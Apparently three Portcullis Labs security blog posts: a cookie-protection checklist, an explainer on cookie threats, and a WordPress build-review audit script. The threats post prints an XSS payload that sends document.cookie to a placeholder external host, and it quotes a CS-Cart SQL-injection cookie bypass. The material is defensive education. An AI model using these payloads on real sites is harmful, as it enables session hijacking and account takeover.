How to read this post?

The flowchart below will guide you to the process to check if your cookies are well protected. Note that there are more factors and cases that could potentially compromise your cookies (as we talked in the part 1 of the blog post).

Of course at the end of the post you will find the explanation to the flowchart. So if you do not understand anything, do not panic! Look for the question in the last part of the blog where it will be explained.

A flowchart about how to get your cookies better secured.

Is your session cookie different before and after login?

• Correct answer: Yes, if your unique session ID cookie is different after and before login, your session is correctly protected against Session Fixation attacks
• Incorrect answer: No, your unique session ID cookie is the same, if an attacker managed to stole your cookie before login into the web application, then once you are authenticated the attacker could also access the application

Recommendation: Session ID should be changed after and before user logs in.

Are you invalidating the session when the user logs out?

• Correct answer: Yes, once the user has logged out, the session must be destroyed or invalidated
• Incorrect answer: No, if you do not destroy the session ID in server side, the session will continue being valid

Recommendation: Session must be invalidated after the user logs out.

Does your cookie have the attribute “HttpOnly”?

• Correct answer: Yes, your cookie is only accessible via http and not via JavaScript
• Incorrect answer: No, your cookie is also accessible via JavaScript , which in case of an attacker compromise your application with a Cross-site Scripting, it could access to your cookie

Recommendation: Set the cookie as “HttpOnly”.

Does your cookie have the full domain attribute set?

• Correct answer: Yes, your cookie is only being sent to the correct domain where it is needed
• Incorrect answer: No, your cookie can be sent to the multiple sub-domains you could have

Recommendation: The full domain of the cookie must be specified.

Does your cookie have an adequate lifetime?

• Correct answer: Yes
• Incorrect answer: No, Cookies with an excessive lifetime will not be deleted when the user closes their browser and would therefore be exposed should an attacker manage to compromise the user’s system

Recommendation: Use cookies without a lifetime so that they are deleted once the user closes their browser or lower its lifetime to meet business requirements.

Do you have only one web application in the same domain?

What does this question mean? The following is an example of multiple web applications in the same domain:

• www.mydomain.com/app1
• www.mydomain.com/app2
• www.mydomain.com/app3

There is not a correct answer to this question.

If you only have one application running over the same domain, you should not need to care about this issue. However if you host multiple web applications, you need to set the attribute “path” of the cookie to ensure that the cookie is only being sent to the web application it belongs.

Are your cookies NOT storing sensitive information?

• Correct answer: Yes, my cookies do not contains sensitive information
• Incorrect answer: No, there are some sensitive information in the cookies

Recommendation: Ensure that sensitive information is not stored in the cookies.

Does your web application support HTTPS?

If the answer to this question is NO, you are sending all the data through a plain text protocol. An attacker able to intercept network traffic between a user’s session and the web server could capture the sensitive data being transmitted.

If the answer is YES, there is some other question you need to answer before know if you are protecting correctly your cookies:

Does your web application use HTTP + HTTPS (mixed content)?

If the answer is NO, it means that HTTP is not allowed and all the data is being sent over HTTPS. Although your cookie is secure in this case, you need to be careful if you enable HTTP.

If the answer is YES you need to answer one more question:

Is HSTS (HTTP Strict Transport Security) enabled or has the cookie the attribute “secure”?

If you have HSTS enabled, you are forcing all the data being sent over HTTPS (cookies included).

If the cookie has the attribute “secure”, you are forcing the cookie to be sent only over HTTPS.

Recommendation: Set the cookie as “secure” and consider to enable HSTS.

The post Keep your cookies safe (part 2) appeared first on Portcullis Labs.

A cookie is a small piece of data sent from a web site and stored in a user’s web browser and is subsequently includes with all authenticated requests that belong to that session. Some cookies contain the user session data in a web site, which is vital. Others cookies are used for tracking long-term records of an individuals browsing history and preferences such as their preferred language. Sometimes they are also used for tracking and monitoring a user’s activities across different web sites.

Due to the fact that HTTP is a stateless protocol, the web site needs a way to authenticate the user in each request. Every time the user visits a new page within a web site, the browser sends the users cookie back to the server, allowing the server to serve the correct data to that individual user, which is tracked using a session ID. Cookies therefore play an integral part in ensuring persistence of data used across multiple HTTP requests throughout the time a user visits a web site.

What does a cookie look like?

Set-Cookie: __cfduid=d8a3ae94f81234321; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.domain.com; HttpOnly

The cookie below is an example of a common cookie generated for WordPress. Here we break down each part of the cookie and explain what it is used for:

• Set-Cookie – the web server asks the browser to save the cookie with this command
• __cfduid=d8a3ae94f81234321;: This is the cookie itself. At the left of the equals symbol is the name of the cookie and to the right is its value
• expires=Mon, 23-Dec-2019 23:50:00 GMT; – this is the date and time when the cookie will expire
• path=/; domain=.domain.com; – the cookie domain and path define the scope of the cookie. They tell the browser that cookies should only be sent back to the server for the given domain and path
• HttpOnly – this attribute (without a value associated) tells the browser that JavaScript cannot be used to access the cookie, which must only be accessed through HTTP or HTTPS. Sometimes you will also see the attribute “Secure”, which prevents the cookie being sent over the unencrypted HTTP protocol (i.e. the cookie will only be transmitted over HTTPS)

What is the impact of having your cookies compromised?

A traditional and important role of a cookie is to store a users session ID, which is used to identify a user. If this type of cookie is stolen by a malicious user, they would be able to gain access to web site as the user for which the cookie belonged to (i.e. the malicoius user would have access to your account within the web site).

In the case of the tracking cookie, the malicious user would have access to your browsing history for the web site.

Another problem arises when sensitive data is stored in cookies, for example a username, and this is also a vector for server side exploitation if its contents are not properly validated, which can potentially lead to serious vulnerabilties such as SQL Injection or remote code execution.

What are the main cookie threats?

Cookie Monster.

There are different attacking vectors in which obtaining and modifying cookies can occur, leading to session hijacking of an authenticated user session, or even SQL injection attacks against the server. These threats may take place when an attacker takes control of the web browser using Cross-site Scripting, or Spyware, in order to obtain a users SessionID cookie that can then be used by an attacker to impersonate the legitimate user, as shown in the following example:

Obtaining access to the cookie can be as easy as using the following JavaScript line:

document.cookie

Imagine that the web site has a search form that is vulnerable to Cross-site Scripting (Reflective Cross-site Scripting in this case).

http://myweb.com/form.php?search=XSS_PAYLOAD_HERE

An attacker could use the following payload to send the cookie to an external web site:

<script>location.href='http://external_web site.com/cookiemonster.php?c00kie='+escape(document.cookie);</script>

The final step would be to send the vulnerable link to an admin and wait for them to click on it. If the attacker uses an URL shortener, this allows for further obfuscation of the malicous URL, as the admin will be unable to see the content of the link they have been sent.

An attacker able to read files from a given user may also attempt to retrieve the cookies stored in files from a system. Furthermore some browsers store persistent cookies in a binary file that is easily readable with existing public tools.

Security weaknesses may also reside server side when cookies are modified, if input validation routines are not adequately implemented. The example below shows how to bypass the authentication process:

//In /core/user.php: (cs cart vulnerability)

if (fn_get_cookie(AREA_NAME . '_user_id')) {
 $udata = db_get_row("SELECT user_id, user_type, tax_exempt, last_login, membership_status, membership_id FROM $db_tables[users]
 WHERE user_id='".fn_get_cookies(AREA_NAME . '_user_id')."' AND password='".fn_get_cookie(AREA_NAME . '_password')."'");
 fn_define('LOGGED_VIA_COOKIE', true);

}

//Cookie: cs_cookies[customer_user_id]=1'/*;

For their role, cookies are really important and may be used in different attacks.

Now that you are more aware of the dangers, it would be wise to ensure steps are taken to deploy web site cookies safely and securely. Look out for the second part of this post!

The post Keep your cookies safe (part 1) appeared first on Portcullis Labs.

Key features

• Checks the WordPress version
• Checks the WordPress plugins versions
• Checks WordPress minor updates are enabled
• Checks the WordPress configuration
• Checks the theme configuration
• Identifies the presence of backup files in web folder
• Checks the Anti-Virus
• Checks the file and directory permissions
• Checks HTTPS in admin panel is enabled

Overview

WordPress-build-review checks the basic security configuration that a WordPress installation should have.

The idea of this tool is to perform a build review on WordPress installations. This tool should works with the default installed software in a Linux distribution.

This tool was developed and tested in Linux. However, it should also work on other POSIX alike platforms as long as the dependencies (GNU utils) are available. Please let us know if you try running this tool in other platforms, your feedback is appreciated.

Installation

Download the tool from the link below and uncompress it.

Make sure you have the tools `curl’ and `bc’ installed in your system.

Usage

$ ./wordpress-build-review.sh /full/path/to/wordpress/root/folder/
...
Starting wordpress-build-review v1.0 at Fri Jan 31 16:19:53 GMT 2014

by David Muñoz ( dmg@portcullis-security.com )

This tool checks the basic security configuration that a wordpress installation
should have.

Use of this script is only permitted on systems which you have been granted
legal permission to perform a security assessment of. Apart from this
condition the GPL v2 applies.

Search the output below for the word '[VV]' for the security issues found.
If you don't see it then this script didn't find any problems.
Search the output below for the word '[WW]' for problems occurred during script
execution. These problems must be checked manually.
Finally search the output below for the word '[II]' for correct issues.
...

Examples

Here we can see some example issues that the tool is able to identify:

$ ./wordpress-build-review.sh /var/www/wordpress | grep "[VV]"
...
[VV][001]File wp-login.php found. It is recommended to change its name.
[VV][002]File readme.html found. It is recommended to delete it.
[VV][005]The wordpress version installed is out-to-date. Installed version is: 3.8. Last version is: 3.8.1.
[VV][006]Plugin 6scan-protection is out-of-date. Please, update it. Installed version is: 3.0.5. Last version is: 3.0.6.
[VV][009]HTTPS on the LOGIN and ADMIN sections are not enabled in wp-config but SSL may still being enforced by the web server config.
[VV][015]File /var/www/wordpress/test.bak found, consider to remove it.
[VV][015]File /var/www/wordpress/wp-config.php~ found, consider to remove it.
[VV]Default or backup files found, please remove them.
[VV][012]The file /var/www/wordpress/wp-config.php~ has 664 permissions, consider to set it to 644 or 640
[VV]Incorrect file permissions, please correct them.
[VV][013]The folder /var/www/wordpress/wp-content/plugins/test has 775 permissions, consider to set it to 755 or 750
[VV]Incorrect folder permissions, please correct them.
[VV][010]Wordpress table prefix is set by default <wp_>. Please, consider to change it.
[VV][008]Wordpress database user is root, please change it.
...

wordpress-build-review_v1.0.tar.gz
February 17, 2014

5.2 KiB
MD5 hash: 4a6072f4c13478a8707275fd3c17c9f7
Details

Date:

February 17, 2014

The post WordPress Build Review appeared first on Portcullis Labs.